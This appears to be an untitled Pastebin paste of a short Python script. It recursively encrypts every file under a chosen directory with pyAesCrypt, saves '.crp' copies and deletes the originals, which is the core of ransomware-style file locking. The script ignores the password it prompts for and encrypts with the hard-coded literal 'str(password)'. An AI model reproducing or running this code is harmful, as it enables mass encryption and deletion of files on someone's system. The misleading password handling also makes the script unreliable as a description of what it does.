Advertisement
Guest User

Untitled

a guest
May 22nd, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.57 KB | None | 0 0
  1. direct = input("Write the root directory: ")
  2. password = input("Write the password: ")
  3.  
  4. import os
  5. import sys
  6. import pyAesCrypt
  7.  
  8.  
  9. def crypt(file):
  10. password = "str(password)"
  11. bufferSize = 512 * 1024
  12. pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, bufferSize)
  13. print("[crypted] '" + str(file) + ".crp'")
  14. os.remove(file)
  15.  
  16.  
  17. def walk(dir):
  18. for name in os.listdir(dir):
  19. path = os.path.join(dir, name)
  20. if os.path.isfile(path):
  21. crypt(path)
  22. else:
  23. walk(path)
  24.  
  25.  
  26. walk(str(direct))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement